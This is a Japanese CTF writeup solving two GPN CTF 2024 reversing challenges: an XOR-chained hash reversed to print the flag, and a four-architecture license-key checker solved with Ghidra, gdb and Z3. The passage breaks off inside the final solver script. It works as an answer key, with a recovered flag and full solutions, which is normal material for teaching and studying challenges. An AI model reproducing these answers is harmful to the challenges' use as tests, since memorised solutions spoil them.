All Articles

GPN CTF 2024 Writeup

GPN CTF 2024 にちょい参加しました。

ダッシュボードが音楽アプリみたいになってておしゃれでした。

image-20240602203314465

もくじ

Never gonna run around and reverse you(Rev)

I thought of this really cool collision free hash function and hashed the flag with it. Theoretically you shouldn’t be able to reverse it…

問題バイナリを見ると以下のような実装になっていました。

image-20240601152948661

正しい Flag は 2 文字目から前の 1 文字と XOR することで取得できることがわかります。

そこで、以下の Solver を使用して Flag を取得しました。

flag = b"\x47\x17\x59\x1a\x4e\x08\x73\x24\x10\x21\x55\x79\x26\x4e\x7e\x09\x56\x32\x03\x67\x38\x41\x71\x04\x5b\x28\x18\x74\x02\x31\x6e\x1a\x72\x43\x30\x0f\x50\x19\x46\x32\x5a\x6a\x1f\x78\x10\x64\x3b\x0a\x7e\x21\x56\x62\x57\x08\x3c\x63\x04\x34\x04\x60\x3f\x57\x63\x56\x3e\x43"

print(flag[0].decode(), end="")
for i in range(1, len(flag)):
    print(chr(flag[i]^flag[i-1]), end="")

# print("")GPNCTF{W41t,_h0w_d1d_y0u_s0lv3_th1s?_I_th0ught_1t_w45_4_g00d_h45h}

Archventure time(Rev)

I found this funny multi-arch music software but I can’t remember my license key.

Can you recover it for me?

この問題、難易度は Easy 設定でしたがちょっと難易度詐欺だったような気がします。

バイナリを解析すると、正しいライセンスキーを入力するとフラグが AES で復号されることがわかりました。

このライセンスフォーマットは 06788-9BBCK-KMOPP-UVWYY のように 5 文字ごとにハイフンで区切られています。

プログラムに入力したライセンスは fork される 4 つの子プロセス中でそれぞれ検証されます。

この 4 つの検証を突破する入力値が正しい入力値になります。

なお、4 つの検証で使用されるプログラムはいずれも Intel CPU 以外のアーキテクチャ用のバイナリであり、qemu 経由で実行されます。

Stage1:RISV-V バイナリ

最初の検証を行うバイナリは RISV-V アーキテクチャ用の ELF バイナリでした。

このバイナリは元のプログラムから qemu-riscv64 -L /usr/riscv64-linux-gnu を使用して子プロセスとして呼び出されます。

コマンドライン引数には、ライセンスキーからハイフンを削除した文字列が与えられます。

この RISC-V バイナリを Ghidra でデコンパイルすると、コマンドライン引数として受け取った文字列に対して何らかの処理を行った結果が 067889BBCKKMOPPUVWYY と一致するかを比較しています。

image-20240602212231139

このバイナリの中では、入力値に対して以下のような処理が再帰的に実行されていました。

image-20240602212342554

ぱっと見では処理の詳細を特定できませんでしたが、ChatGPT に食わせたところマージソートを行っていることがわかりました。

つまりこの検証では、受け取ったライセンス文字列をソートした結果が 067889BBCKKMOPPUVWYY と一致するかを比較しており、ライセンスキーの文字種と個数を特定できたことがわかります。

最終的に Flag を Z3 で特定するにあたり、どのようにこの要件を表現できるか悩みましたが、以下のように数字+アルファベット大文字の 36 文字分のバケットを用意し、ライセンスキー文字列の各文字種のカウントが一致するかどうかを判断するコードで表せるようでした。

cnt = [z3.IntVal(0) for _ in range(36)]
for f in flag:
    cnt[0] += z3.If(f == 65, z3.IntVal(1), z3.IntVal(0))
    cnt[1] += z3.If(f == 66, z3.IntVal(1), z3.IntVal(0))
    cnt[2] += z3.If(f == 67, z3.IntVal(1), z3.IntVal(0))
    cnt[3] += z3.If(f == 68, z3.IntVal(1), z3.IntVal(0))
    cnt[4] += z3.If(f == 69, z3.IntVal(1), z3.IntVal(0))
    cnt[5] += z3.If(f == 70, z3.IntVal(1), z3.IntVal(0))
    cnt[6] += z3.If(f == 71, z3.IntVal(1), z3.IntVal(0))
    cnt[7] += z3.If(f == 72, z3.IntVal(1), z3.IntVal(0))
    cnt[8] += z3.If(f == 73, z3.IntVal(1), z3.IntVal(0))
    cnt[9] += z3.If(f == 74, z3.IntVal(1), z3.IntVal(0))
    cnt[10] += z3.If(f == 75, z3.IntVal(1), z3.IntVal(0))
    cnt[11] += z3.If(f == 76, z3.IntVal(1), z3.IntVal(0))
    cnt[12] += z3.If(f == 77, z3.IntVal(1), z3.IntVal(0))
    cnt[13] += z3.If(f == 78, z3.IntVal(1), z3.IntVal(0))
    cnt[14] += z3.If(f == 79, z3.IntVal(1), z3.IntVal(0))
    cnt[15] += z3.If(f == 80, z3.IntVal(1), z3.IntVal(0))
    cnt[16] += z3.If(f == 81, z3.IntVal(1), z3.IntVal(0))
    cnt[17] += z3.If(f == 82, z3.IntVal(1), z3.IntVal(0))
    cnt[18] += z3.If(f == 83, z3.IntVal(1), z3.IntVal(0))
    cnt[19] += z3.If(f == 84, z3.IntVal(1), z3.IntVal(0))
    cnt[20] += z3.If(f == 85, z3.IntVal(1), z3.IntVal(0))
    cnt[21] += z3.If(f == 86, z3.IntVal(1), z3.IntVal(0))
    cnt[22] += z3.If(f == 87, z3.IntVal(1), z3.IntVal(0))
    cnt[23] += z3.If(f == 88, z3.IntVal(1), z3.IntVal(0))
    cnt[24] += z3.If(f == 89, z3.IntVal(1), z3.IntVal(0))
    cnt[25] += z3.If(f == 90, z3.IntVal(1), z3.IntVal(0))
    cnt[26] += z3.If(f == 48, z3.IntVal(1), z3.IntVal(0))
    cnt[27] += z3.If(f == 49, z3.IntVal(1), z3.IntVal(0))
    cnt[28] += z3.If(f == 50, z3.IntVal(1), z3.IntVal(0))
    cnt[29] += z3.If(f == 51, z3.IntVal(1), z3.IntVal(0))
    cnt[30] += z3.If(f == 52, z3.IntVal(1), z3.IntVal(0))
    cnt[31] += z3.If(f == 53, z3.IntVal(1), z3.IntVal(0))
    cnt[32] += z3.If(f == 54, z3.IntVal(1), z3.IntVal(0))
    cnt[33] += z3.If(f == 55, z3.IntVal(1), z3.IntVal(0))
    cnt[34] += z3.If(f == 56, z3.IntVal(1), z3.IntVal(0))
    cnt[35] += z3.If(f == 57, z3.IntVal(1), z3.IntVal(0))

expected = [0, 2, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 0, 1, 2, 0, 0, 0, 0, 1, 1, 1, 0, 2, 0, 1, 0, 0, 0, 0, 0, 1, 1, 2, 1]
for i, exp in enumerate(expected):
    solver.add(cnt[i] == exp)

Stage2:x64 バイナリ

最初の検証を突破すると、次は x64 ELF プログラムの中で以下の検証が行われます。

ここでは、ライセンスキーを 5 文字ずつのブロックに分割した上で、各ブロック内の数字とアルファベットの合計がハードコードされた値と一致するかを検証しています、

int32_t main(int32_t argc, char** argv, char** envp)
{
    int32_t rax
    if (argc s<= 1)
        rax = 1
    else
        char* rax_2 = argv[1]
        int32_t var_14_1 = strlen(rax_2)
        int32_t var_24_1 = 0
        while (true)
            if (var_24_1 s> 3)
                rax = 0
                break
            int32_t var_20_1 = 0
            int32_t var_1c_1 = 0
            for (int32_t i = var_24_1 * 5; i s< (var_24_1 + 1) * 5; i = i + 1)
                if ((zx.d((*__ctype_b_loc())[sx.q(rax_2[sx.q(i)])]) & 0x800) != 0)
                    var_20_1 = var_20_1 + sx.d(rax_2[sx.q(i)]) - 0x30
                else if ((zx.d((*__ctype_b_loc())[sx.q(rax_2[sx.q(i)])]) & 0x100) != 0)
                    var_1c_1 = var_1c_1 + sx.d(rax_2[sx.q(i)]) - 0x41
            if (var_20_1 != *((sx.q(var_24_1) << 2) + &data_2010))
                rax = 1
                break
            if (var_1c_1 != (*U"=$,2")[sx.q(var_24_1)])
                rax = 1
                break
            var_24_1 = var_24_1 + 1
    return rax
}

コードを解析した結果、ライセンスキーは以下の 2 つの条件をそれぞれ満たす必要があることがわかりました。

0、6、7、8、8、9 の 6 つの数字をすべて使い、以下の条件をすべて満たす組み合わせを特定する。

1 ブロック目に含まれる数字の和が 0

2 ブロック目に含まれる数字の和が 7

3 ブロック目に含まれる数字の和が 0xe

4 ブロック目に含まれる数字の和が 0x11

アルファベットを変換した 0x1、0x1、0x2、0xa、0xa、0xc、0xe、0xf、0xf、0x14、0x15、0x16、0x18、0x18 の 14 個の数字をすべて使い、以下の条件をすべて満たす組み合わせを特定する。

14 の数字のうち 4 つもしくは 5 つを取り出したときの和が 0x3d 14 の数字のうち 3 つもしくは 4 つを取り出したときの和が 0x24 14 の数字のうち 2 つもしくは 3 つを取り出したときの和が 0x2c 14 の数字のうち 2 つもしくは 3 つを取り出したときの和が 0x32

上記の 2 つの条件のうち、数字の条件は容易に特定できます。

0 はどのブロックに入るか不明ですが、7 は 2 ブロック目に、6 と 8 は 3 ブロック目に、8 と 9 は 4 ブロック目に入ることがわかります。

これは、以下のようなスクリプトで上記を満たすような組み合わせを総当たりすることで Stage 2 の検証を突破できる組み合わせを見つけることができます。

from itertools import combinations

def generate_combinations():
    elements = list(range(0, 14))

    group_5_combinations = list(combinations(elements, 4))

    all_combinations = []

    for group_5 in group_5_combinations:
        remaining_after_5 = [x for x in elements if x not in group_5]
        group_4_combinations = list(combinations(remaining_after_5, 4))

        for group_4 in group_4_combinations:
            remaining_after_4 = [x for x in remaining_after_5 if x not in group_4]
            group_3_combinations = list(combinations(remaining_after_4, 3))

            for group_3 in group_3_combinations:
                remaining_after_3 = [x for x in remaining_after_4 if x not in group_3]
                group_2 = tuple(remaining_after_3)

                all_combinations.append((group_5, group_4, group_3, group_2))

    return all_combinations

L = [0x1,0x1,0x2,0xa,0xa,0xc,0xe,0xf,0xf,0x14,0x15,0x16,0x18,0x18]
A = [0x3d,0x24,0x2c,0x32]
combinations_list = generate_combinations()
for combination in combinations_list:
    NA = []
    for j in range(4):
        a = 0
        N = []
        for l in combination[j]:
            a += L[l]
            N.append(L[l])
        NA.append(N)
        N = []

        if A[j] != a:
            break

        if j == 3:
            print(NA)

例えば、0BMYY-7BKKP-68CUW-89OPV のようなキーを入力するとこの検証を突破できます。

ただし、このままでは検証を突破できる組み合わせが膨大になるので他の要件と合わせて正しいライセンスキーを特定するためにも、上記の要件を Z3 ソルバに落とし込みたいです。

Discord で連携されていたソルバを参考にすると、以下のような表現に落とし込めたようです。

nums = [0, 7, 0xE, 0x11]
uppers = [0x3D, 0x24, 0x2C, 0x32]

for i in range(4):
    n = z3.BitVecVal(0, 8)
    u = z3.BitVecVal(0, 8)
    for j in range(5):
        idx = i * 5 + j
        n += z3.If(z3.And(ord('0') <= flag[idx], flag[idx] <= ord('9')), flag[idx] - z3.BitVecVal(ord('0'), 8), z3.BitVecVal(0, 8))
        u += z3.If(z3.And(ord('A') <= flag[idx], flag[idx] <= ord('Z')), flag[idx] - z3.BitVecVal(ord('A'), 8), z3.BitVecVal(0, 8))

    solver.add(n == nums[i])
    solver.add(u == uppers[i])

確かに、5 文字ごとの合計をカウントするビットベクタを別途用意して、If で文字か数字かを判別させることでこの条件を制約に盛り込めます。

Stage3:PowerPC バイナリ

このステップの PowerPC バイナリの解析はフォーマットに不慣れだったこともあってかなり手こずりました。

まず、今回の問題バイナリを Ghidra で解析したところ、このようにエントリポイントの処理をまともに解析することができなかったために、Ghidra がフォーマットに対応していないのかと思い諦めてしまっておりました。

image-20240603081257723

このような出力となった現任はどうやら main 関数がエントリポイントにリンクされていないためだったようで、バイナリ内の各関数の実装自体は Ghidra で解析できていました。

関数の数自体は少なかったので、デコンパイル結果から main 関数と思われる処理を特定します。

少し調べていくと、以下の関数が実行時のコマンドライン引数の数の検証後に何らかの処理を実行しており、main 関数に該当していそうな可能性が高そうでした。

image-20240603081704981

ここでは、コマンドライン引数から受け取ったライセンスキーを先頭から 1 文字ずつ取り出していき、その文字の ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 内でのインデックス x 0x60 をハードコードされた整数値が格納されるテーブル 0x10000940 のポインタアドレスに加算したものを第 1 引数、現在の文字の次の文字を第 2 引数として check 関数を実行しているようです。

実際に、この関数が上記のように呼び出されていることを gdb で確認します。

# qemu-ppc64 -L /usr/powerpc64-linux-gnu -g 1234 check_stage3 0BMYY7BKKP68CUW89OPV を実行しておく
gdb-multiarch check_stage3
target remote localhost:1234

# コマンドライン引数から lVar1 に入力文字列が格納される
b *0x10000788
continue
x/s $r9
> 0x40007fff32:   "0BMYY7BKKP68CUW89OPV"

# 1 文字目で check 関数呼び出し時に渡されるテーブルのポインタアドレス
b *0x10000838
continue
x/12xw $r8
> 0x10001300:     0x0000004d      0x00000054      0x00000047      0x0000004b
> 0x10001310:     0x00000030      0x00000051      0x00000033      0x00000035
> 0x10001320:     0x0000005a      0x00000057      0x00000052      0x00000041

# check 関数呼び出し時の引数
p $r3
> $10 = 0x10001300

p $r4
> $11 = 0x42

p $r5
> $12 = 0x18

今回入力した文字列の 1 文字目は 0 なので、STRCHR で返されるインデックスは 26 になります。

そのため、26*0x60(=0x9c0) を 0x10000940 に加算した 0x10001300 がテーブルのポインタアドレスとして第 1 引数に与えられています。

また、入力した文字列の 2 文字目は B なので、第 2 引数には 0x42 が与えられています。

ここまでの解析結果を元に、check 関数のデコンパイル結果にていくつかのシンボルをリネームした結果は以下の通りです。

undefined4 check(longlong TABLE,int next_word,int 0x18)
{
  int N;
  
  N = 0;
  while( true ) {
    if (0x18 <= N) {
      return 0;
    }
    if (next_word == *(int *)(TABLE + (longlong)N * 4)) break;
    N = N + 1;
  }
  return 1;
}

ここでは、現在の文字から計算したテーブル領域のアドレスから 0x18 個分の範囲に次の文字が存在しているかどうかをチェックしているようです。

つまり、例えば最初の文字が A の場合、0x10000940 から 4 バイトごとに格納されている整数 0x18 個分の中に次の文字が含まれていることがライセンスキーの要件として定義されています。

0x10000940 から始まるテーブル領域は 4 バイトごとに 1 つの整数が格納されているので、これを Ghidra からコピーして以下の Z3 Solver に落とし込みます。

Z3 Solver に落とし込む際には、z3.Implies(A, B) の記法が便利に使えるようです。

これは、「A の条件が満たされるなら B も成り立つ」ことを表現できるメソッドです。

また、z3.Or(*[flag[i+1] == x for x in [...]]) の記法は、flag[i+1] が特定の値のいずれかであることを表現するテクニックです。

for i in range(19):
    solver.add(z3.Implies(flag[i] == 65, z3.Or(*[flag[i+1] == x for x in [0x48, 0x4F, 0x57, 0x46, 0x4D, 0x32, 0x41, 0x31, 0x54, 0x45, 0x53, 0x58, 0x30, 0x4B, 0x43, 0x51, 0x35, 0x42, 0x59, 0x44, 0x4A, 0x37, 0x50, 0x38]])))
    solver.add(z3.Implies(flag[i] == 66, z3.Or(*[flag[i+1] == x for x in [0x33, 0x44, 0x5A, 0x4A, 0x48, 0x42, 0x32, 0x55, 0x4F, 0x53, 0x39, 0x4D, 0x54, 0x38, 0x4C, 0x4E, 0x57, 0x4B, 0x45, 0x46, 0x56, 0x36, 0x49, 0x37]])))
    solver.add(z3.Implies(flag[i] == 67, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x41, 0x4B, 0x31, 0x4C, 0x51, 0x48, 0x58, 0x55, 0x4F, 0x57, 0x5A, 0x36, 0x45, 0x44, 0x39, 0x52, 0x53, 0x30, 0x42, 0x4A, 0x37, 0x54, 0x35]])))
    solver.add(z3.Implies(flag[i] == 68, z3.Or(*[flag[i+1] == x for x in [0x48, 0x39, 0x4F, 0x4A, 0x56, 0x36, 0x4D, 0x31, 0x53, 0x41, 0x50, 0x43, 0x35, 0x47, 0x57, 0x30, 0x55, 0x45, 0x38, 0x49, 0x5A, 0x59, 0x51, 0x4E]])))
    solver.add(z3.Implies(flag[i] == 69, z3.Or(*[flag[i+1] == x for x in [0x57, 0x39, 0x56, 0x55, 0x34, 0x36, 0x49, 0x46, 0x59, 0x50, 0x4E, 0x4A, 0x58, 0x4F, 0x32, 0x43, 0x41, 0x31, 0x37, 0x4B, 0x47, 0x30, 0x44, 0x4D]])))
    solver.add(z3.Implies(flag[i] == 70, z3.Or(*[flag[i+1] == x for x in [0x48, 0x39, 0x4D, 0x51, 0x46, 0x31, 0x57, 0x47, 0x56, 0x30, 0x43, 0x4E, 0x49, 0x38, 0x42, 0x41, 0x4C, 0x55, 0x58, 0x53, 0x44, 0x52, 0x5A, 0x33]])))
    solver.add(z3.Implies(flag[i] == 71, z3.Or(*[flag[i+1] == x for x in [0x37, 0x31, 0x33, 0x38, 0x55, 0x53, 0x35, 0x44, 0x4A, 0x4D, 0x4E, 0x4C, 0x58, 0x49, 0x47, 0x54, 0x59, 0x36, 0x30, 0x57, 0x5A, 0x50, 0x34, 0x39]])))
    solver.add(z3.Implies(flag[i] == 72, z3.Or(*[flag[i+1] == x for x in [0x31, 0x34, 0x33, 0x36, 0x38, 0x4D, 0x44, 0x56, 0x4A, 0x4E, 0x52, 0x49, 0x35, 0x4F, 0x32, 0x53, 0x4C, 0x48, 0x55, 0x58, 0x42, 0x5A, 0x30, 0x43]])))
    solver.add(z3.Implies(flag[i] == 73, z3.Or(*[flag[i+1] == x for x in [0x48, 0x31, 0x49, 0x34, 0x59, 0x4C, 0x5A, 0x41, 0x32, 0x55, 0x35, 0x44, 0x39, 0x43, 0x47, 0x37, 0x4A, 0x46, 0x4D, 0x58, 0x42, 0x51, 0x53, 0x30]])))
    solver.add(z3.Implies(flag[i] == 74, z3.Or(*[flag[i+1] == x for x in [0x39, 0x48, 0x47, 0x59, 0x4F, 0x36, 0x31, 0x37, 0x5A, 0x30, 0x46, 0x55, 0x4C, 0x56, 0x45, 0x50, 0x53, 0x4A, 0x41, 0x58, 0x52, 0x42, 0x57, 0x51]])))
    solver.add(z3.Implies(flag[i] == 75, z3.Or(*[flag[i+1] == x for x in [0x35, 0x54, 0x57, 0x31, 0x41, 0x50, 0x38, 0x4D, 0x46, 0x44, 0x36, 0x4F, 0x4B, 0x4A, 0x43, 0x30, 0x51, 0x42, 0x48, 0x49, 0x32, 0x45, 0x39, 0x34]])))
    solver.add(z3.Implies(flag[i] == 76, z3.Or(*[flag[i+1] == x for x in [0x4A, 0x44, 0x5A, 0x52, 0x36, 0x4F, 0x41, 0x57, 0x33, 0x31, 0x42, 0x39, 0x48, 0x47, 0x32, 0x37, 0x58, 0x59, 0x56, 0x4E, 0x45, 0x55, 0x38, 0x46]])))
    solver.add(z3.Implies(flag[i] == 77, z3.Or(*[flag[i+1] == x for x in [0x30, 0x45, 0x56, 0x39, 0x59, 0x44, 0x38, 0x51, 0x35, 0x50, 0x5A, 0x4E, 0x42, 0x47, 0x55, 0x31, 0x4D, 0x58, 0x54, 0x33, 0x49, 0x41, 0x43, 0x57]])))
    solver.add(z3.Implies(flag[i] == 78, z3.Or(*[flag[i+1] == x for x in [0x47, 0x48, 0x56, 0x38, 0x54, 0x59, 0x35, 0x49, 0x41, 0x4A, 0x43, 0x58, 0x4E, 0x55, 0x4F, 0x33, 0x34, 0x31, 0x52, 0x50, 0x4B, 0x32, 0x4C, 0x4D]])))
    solver.add(z3.Implies(flag[i] == 79, z3.Or(*[flag[i+1] == x for x in [0x42, 0x4F, 0x57, 0x4D, 0x37, 0x38, 0x34, 0x4B, 0x30, 0x55, 0x52, 0x32, 0x4C, 0x4A, 0x31, 0x59, 0x50, 0x45, 0x49, 0x56, 0x41, 0x53, 0x36, 0x39]])))
    solver.add(z3.Implies(flag[i] == 80, z3.Or(*[flag[i+1] == x for x in [0x46, 0x34, 0x30, 0x37, 0x38, 0x47, 0x4E, 0x42, 0x5A, 0x45, 0x4D, 0x35, 0x43, 0x39, 0x44, 0x48, 0x31, 0x50, 0x55, 0x4C, 0x49, 0x54, 0x41, 0x56]])))
    solver.add(z3.Implies(flag[i] == 81, z3.Or(*[flag[i+1] == x for x in [0x54, 0x49, 0x58, 0x50, 0x56, 0x38, 0x52, 0x31, 0x35, 0x37, 0x4E, 0x4A, 0x4C, 0x36, 0x45, 0x59, 0x42, 0x44, 0x55, 0x46, 0x4F, 0x57, 0x4D, 0x47]])))
    solver.add(z3.Implies(flag[i] == 82, z3.Or(*[flag[i+1] == x for x in [0x42, 0x48, 0x53, 0x4F, 0x30, 0x46, 0x56, 0x5A, 0x45, 0x35, 0x34, 0x59, 0x36, 0x39, 0x51, 0x52, 0x31, 0x44, 0x49, 0x33, 0x4D, 0x50, 0x47, 0x55]])))
    solver.add(z3.Implies(flag[i] == 83, z3.Or(*[flag[i+1] == x for x in [0x51, 0x38, 0x32, 0x4A, 0x58, 0x54, 0x56, 0x30, 0x57, 0x37, 0x34, 0x41, 0x53, 0x59, 0x33, 0x55, 0x52, 0x4F, 0x47, 0x5A, 0x46, 0x42, 0x35, 0x45]])))
    solver.add(z3.Implies(flag[i] == 84, z3.Or(*[flag[i+1] == x for x in [0x4F, 0x45, 0x37, 0x5A, 0x4B, 0x33, 0x47, 0x55, 0x50, 0x59, 0x54, 0x57, 0x41, 0x46, 0x4A, 0x58, 0x34, 0x49, 0x32, 0x52, 0x51, 0x4C, 0x4E, 0x39]])))
    solver.add(z3.Implies(flag[i] == 85, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x45, 0x4A, 0x48, 0x43, 0x31, 0x4F, 0x46, 0x53, 0x42, 0x4D, 0x49, 0x44, 0x55, 0x33, 0x50, 0x56, 0x32, 0x37, 0x51, 0x39, 0x36, 0x59, 0x57]])))
    solver.add(z3.Implies(flag[i] == 86, z3.Or(*[flag[i+1] == x for x in [0x54, 0x4D, 0x42, 0x4A, 0x39, 0x35, 0x5A, 0x49, 0x53, 0x51, 0x30, 0x4C, 0x34, 0x59, 0x57, 0x4B, 0x56, 0x4E, 0x37, 0x55, 0x43, 0x32, 0x46, 0x36]])))
    solver.add(z3.Implies(flag[i] == 87, z3.Or(*[flag[i+1] == x for x in [0x53, 0x36, 0x5A, 0x48, 0x51, 0x34, 0x43, 0x59, 0x4D, 0x44, 0x33, 0x39, 0x30, 0x45, 0x38, 0x42, 0x41, 0x4F, 0x4B, 0x4E, 0x56, 0x46, 0x37, 0x4A]])))
    solver.add(z3.Implies(flag[i] == 88, z3.Or(*[flag[i+1] == x for x in [0x58, 0x36, 0x35, 0x39, 0x5A, 0x37, 0x33, 0x4D, 0x43, 0x44, 0x49, 0x4E, 0x4F, 0x4B, 0x34, 0x54, 0x4A, 0x46, 0x31, 0x47, 0x53, 0x57, 0x48, 0x45]])))
    solver.add(z3.Implies(flag[i] == 89, z3.Or(*[flag[i+1] == x for x in [0x4C, 0x47, 0x34, 0x45, 0x32, 0x36, 0x35, 0x46, 0x58, 0x38, 0x4E, 0x56, 0x5A, 0x49, 0x39, 0x54, 0x53, 0x43, 0x33, 0x4B, 0x50, 0x37, 0x48, 0x44]])))
    solver.add(z3.Implies(flag[i] == 90, z3.Or(*[flag[i+1] == x for x in [0x34, 0x52, 0x44, 0x32, 0x53, 0x4E, 0x4A, 0x41, 0x38, 0x35, 0x4F, 0x49, 0x36, 0x39, 0x4C, 0x58, 0x43, 0x54, 0x45, 0x50, 0x37, 0x57, 0x4D, 0x31]])))
    solver.add(z3.Implies(flag[i] == 48, z3.Or(*[flag[i+1] == x for x in [0x4D, 0x54, 0x47, 0x4B, 0x30, 0x51, 0x33, 0x35, 0x5A, 0x57, 0x52, 0x41, 0x45, 0x50, 0x56, 0x46, 0x4A, 0x48, 0x59, 0x32, 0x53, 0x58, 0x4C, 0x44]])))
    solver.add(z3.Implies(flag[i] == 49, z3.Or(*[flag[i+1] == x for x in [0x44, 0x5A, 0x43, 0x49, 0x54, 0x37, 0x57, 0x4D, 0x4B, 0x4E, 0x32, 0x46, 0x30, 0x52, 0x33, 0x50, 0x59, 0x51, 0x4F, 0x53, 0x45, 0x31, 0x36, 0x39]])))
    solver.add(z3.Implies(flag[i] == 50, z3.Or(*[flag[i+1] == x for x in [0x55, 0x54, 0x43, 0x4F, 0x36, 0x56, 0x57, 0x58, 0x47, 0x59, 0x30, 0x38, 0x32, 0x4A, 0x41, 0x4D, 0x5A, 0x4B, 0x35, 0x31, 0x33, 0x46, 0x42, 0x45]])))
    solver.add(z3.Implies(flag[i] == 51, z3.Or(*[flag[i+1] == x for x in [0x30, 0x41, 0x47, 0x45, 0x44, 0x36, 0x49, 0x52, 0x5A, 0x48, 0x4F, 0x56, 0x54, 0x57, 0x31, 0x4E, 0x51, 0x4A, 0x53, 0x4D, 0x50, 0x58, 0x32, 0x46]])))
    solver.add(z3.Implies(flag[i] == 52, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x48, 0x4A, 0x39, 0x47, 0x32, 0x56, 0x37, 0x4C, 0x4B, 0x59, 0x49, 0x33, 0x44, 0x4D, 0x52, 0x50, 0x43, 0x54, 0x34, 0x58, 0x38, 0x41, 0x35]])))
    solver.add(z3.Implies(flag[i] == 53, z3.Or(*[flag[i+1] == x for x in [0x35, 0x32, 0x51, 0x33, 0x59, 0x37, 0x4A, 0x5A, 0x50, 0x58, 0x44, 0x4C, 0x46, 0x42, 0x38, 0x39, 0x55, 0x4B, 0x47, 0x45, 0x4F, 0x56, 0x48, 0x30]])))
    solver.add(z3.Implies(flag[i] == 54, z3.Or(*[flag[i+1] == x for x in [0x37, 0x53, 0x30, 0x42, 0x41, 0x44, 0x50, 0x4A, 0x33, 0x55, 0x46, 0x49, 0x58, 0x34, 0x48, 0x39, 0x54, 0x35, 0x4F, 0x59, 0x45, 0x47, 0x4B, 0x52]])))
    solver.add(z3.Implies(flag[i] == 55, z3.Or(*[flag[i+1] == x for x in [0x56, 0x52, 0x4C, 0x46, 0x55, 0x48, 0x35, 0x4A, 0x4B, 0x53, 0x4E, 0x42, 0x45, 0x57, 0x36, 0x49, 0x58, 0x43, 0x41, 0x37, 0x54, 0x34, 0x5A, 0x50]])))
    solver.add(z3.Implies(flag[i] == 56, z3.Or(*[flag[i+1] == x for x in [0x59, 0x5A, 0x53, 0x34, 0x36, 0x57, 0x4B, 0x56, 0x33, 0x4F, 0x55, 0x35, 0x52, 0x38, 0x54, 0x49, 0x48, 0x43, 0x31, 0x44, 0x41, 0x32, 0x4C, 0x30]])))
    solver.add(z3.Implies(flag[i] == 57, z3.Or(*[flag[i+1] == x for x in [0x47, 0x39, 0x58, 0x5A, 0x49, 0x35, 0x54, 0x45, 0x44, 0x33, 0x4A, 0x43, 0x55, 0x53, 0x31, 0x46, 0x41, 0x4D, 0x37, 0x52, 0x56, 0x42, 0x36, 0x50]])))

上記のコードでは、flag[i] が A から 9 までのいずれかの文字である場合、その次の文字(flag[i+1])が 0x10000940 からコピーしたリスト内の 0x18 個のいずれかであることを制約として追加しています。

Stage4: aarch64 バイナリ

ここまでの 3 つの Z3 Solver を実行すると、VBBOY-7CK0Y-6K8WM-P8U9P などの Stage 3 までの検証を突破できる文字列がいくつか見つかります。

そして以下のようなブレークポイントを設定して検証を行う直前で処理を停止してバイナリをキャプチャすることで、Stage4 のバイナリを取得できます。

set follow-fork-mode parent
b *0x555555555790
r

image-20240603182244431

Stage4 は aarch64 バイナリでした。

このバイナリを Ghidra でデコンパイルした結果を見てみると、コマンドライン引数から受け取ったキーに対して 2 つの for ループ処理を実行し、各ループ内のチェックをすべて突破した場合に検証に成功することがわかります。

image-20240603182735098

まず最初のループでは、0x1008e8 に定義されているテーブルの値とキーの各文字が一致しないことを検証しています。

for (i = 0; i < (int)len; i = i + 1) {
  if ((0 < (int)(&UINT32_001008e8)[i]) && ((uint)(byte)__s[i] != (&UINT32_001008e8)[i])) {
    return 1;
  }
}

このテーブルを見ると、以下のように 16、18、19 文字目の 3 つがそれぞれ 0x59、0x4d、0x38 ではないことをチェックするだけの処理になっています。

image-20240603195249273

次のループは 2 重ループになっていて少し複雑です。

for (k = 0; k < (int)len; k = k + 1) {
  for (l = 0; l < 10; l = l + 1) {
    10k+l = (long)k * 10 + (long)l;
    tmp = (uint)((ulong)*(undefined8 *)(&UINT32_00100938 + 10k+l * 4) >> 0x20);
    if (tmp == (byte)__s[k]) {
      A = (int)*(undefined8 *)(&UINT32_00100940 + 10k+l * 4);
      B = (uint)((ulong)*(undefined8 *)(&UINT32_00100940 + 10k+l * 4) >> 0x20);
      if ((byte)__s[A] != B) {
        return 1;
      }
    }
  }
}

10k+l には、20*10 のループ内で 0 から 199 までの値が入ります。

この中で、行われている処理は若干トリッキーな気がしました。

例えば、テーブルから取り出した値を 0x20 で右シフトしている箇所ですが、ここでは ulong で取り出した値(0x0x3500000012 など)をシフトして 0x35 を取り出す処理を行っています。

これによって、ポインタアドレスで指定しているインデックスの次の値を確保しているわけです。

このあたりの動作は、以下のコマンドで gdb を使用することでも確認できました。

# qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 check_stage4 0PBVY7KPBKCW8U6Y9M8O を実行しておく
gdb-multiarch check_stage4
target remote localhost:1234
b *0x5500000858
continue
p $x0

image-20240604001141000

あとはこのデコンパイル結果を Python で書き起こすと、ループ内で行われている各検証の中身を参照することができます。

TB_100938 = [0x4900000000,・・・]
TB_100940 = [0x3500000012,・・・]

for k in range(20):
    for l in range(10):
        _10kl = k*10 + l
        tmp = TB_100938[_10kl*2] >> 0x20
        A = TB_100940[_10kl*2] & 0xFF
        B = TB_100940[_10kl*2] >> 0x20
        print(f"solver.add(z3.Implies(flag[{k}] == {tmp}, flag[{A}] == {B}))")

実際にこのコードを実行してみると、以下のソルバを生成できます。

Implies は前項でも使用した通り、A の条件が満たされるなら B の条件も満たされるという表現を行うことができるメソッドです。

solver.add(z3.Implies(flag[0] == 73, flag[18] == 53))
solver.add(z3.Implies(flag[0] == 89, flag[11] == 79))
solver.add(z3.Implies(flag[0] == 86, flag[14] == 85))
solver.add(z3.Implies(flag[0] == 76, flag[6] == 73))
{{ 省略 }}

これですべての検証を突破するための Solver を作成できました。

Flag を取得する

ここまでに作成したスクリプトは以下の通りです。

import z3

flag = [z3.BitVec(f"b{i}", 8) for i in range(20)]
solver = z3.Solver()

# Base
for f in flag:
    solver.add(
        z3.Or(
            z3.And(ord('0') <= f, f <= ord('9')),
            z3.And(ord('A') <= f, f <= ord('Z'))
        )
    )

# Stage1
cnt = [z3.IntVal(0) for _ in range(36)]
for f in flag:
    cnt[0] += z3.If(f == 65, z3.IntVal(1), z3.IntVal(0))
    cnt[1] += z3.If(f == 66, z3.IntVal(1), z3.IntVal(0))
    cnt[2] += z3.If(f == 67, z3.IntVal(1), z3.IntVal(0))
